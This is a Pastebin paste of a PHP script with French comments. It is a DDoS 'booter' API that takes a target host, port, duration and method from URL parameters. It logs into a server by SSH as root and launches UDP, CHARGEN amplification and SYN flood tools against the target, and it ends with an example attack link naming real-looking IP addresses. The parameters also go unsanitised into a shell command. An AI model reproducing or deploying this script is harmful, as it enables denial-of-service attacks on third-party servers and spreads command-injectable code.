Advertisement
Guest User

API K3L 0T3X for server

a guest
Feb 28th, 2016
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.60 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(0);
  4.  
  5. //debut de la config
  6. $server_ip = "127.0.0.1"; //Changer avec l'IP de votre serveur
  7. $server_user = "root"; //Changer uniquement si vous n'avez pas accer au root.
  8. $server_pass = "pass"; //Changer avec le mot de passe de votre serveur
  9. //fin de la config
  10.  
  11. $host = $_GET['host'];
  12. $port = $_GET['port'];
  13. $time = $_GET['time'];
  14. $method = strtoupper($_GET['method']);
  15.  
  16.  
  17. if ($method == "UDP") { $command = "python udp.py"." ".$host." ".$port." ".$time; }
  18. if ($method == "FUDP") { $command = "./fudp"." -d ".$host." -p ".$port." -z 1 -t ".$time; }
  19. if ($method == "UDPC") { $command = "./udp"." ".$host." ".$port." 1 1 5 ".$time; }
  20. if ($method == "CHARGEN") { $command = "./chargen"." ".$host." ".$port." chargenlist.txt 2 -1 ".$time; }
  21. if ($method == "SSYN") { $command = "./ssyn"." ".$host." 5 1 -1 ".$time; }
  22.  
  23.  
  24.  
  25. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  26. if(!($con = ssh2_connect($server_ip, 22))){
  27. echo "Error: Connection Issue";
  28. } else {
  29.  
  30. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  31. echo "Error: Bad Login";
  32. } else {
  33.  
  34. if (!($stream = ssh2_exec($con, $command ))) {
  35. echo "Error: Unable to Execute Command\n";
  36. } else {
  37.  
  38. stream_set_blocking($stream, true);
  39. $data = "";
  40. while ($buf = fread($stream,4096)) {
  41. $data .= $buf;
  42. }
  43. echo "Attaque envoyer.";
  44. fclose($stream);
  45. }
  46. }
  47. }
  48.  
  49.  
  50. // Lien api: 142.0.36.236/xray.php?host=87.78.54.87&port=80&time=60&method=BOTNET
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement